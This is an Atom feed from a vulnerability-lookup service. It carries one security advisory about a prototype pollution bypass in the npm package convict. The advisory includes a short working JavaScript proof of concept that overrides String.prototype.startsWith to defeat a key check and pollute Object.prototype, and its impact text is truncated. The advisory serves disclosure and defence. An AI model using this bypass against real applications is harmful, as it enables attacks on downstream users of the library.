<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-07T21:17:00.829777+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-44fc-8fm5-q62h</id>
    <title>GHSA-44fc-8fm5-q62h — Convict has Prototype Pollution via startsWith() function</title>
    <updated>2026-10-07T21:17:00.891972+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: convict</p>
<p>### Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`.</p>
<p>### Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings.</p>
<p>### PoC
#### Steps to reproduce
1. Install latest version of convict using `npm install` or cloning from git
2. Run the following code snippet:</p>
<p>```javascript
String.prototype.startsWith = () =&gt; false; 
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted);    // prints yes -&gt; the patch is bypassed and prototype pollution occurred
```</p>
<p>#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```</p>
<p>#### Actual behavior
`Object.prototype` is polluted 
This is printed on the console:
```
undefined 
yes
```</p>
<p>### Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applica…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-44fc-8fm5-q62h"/>
  </entry>
</feed>
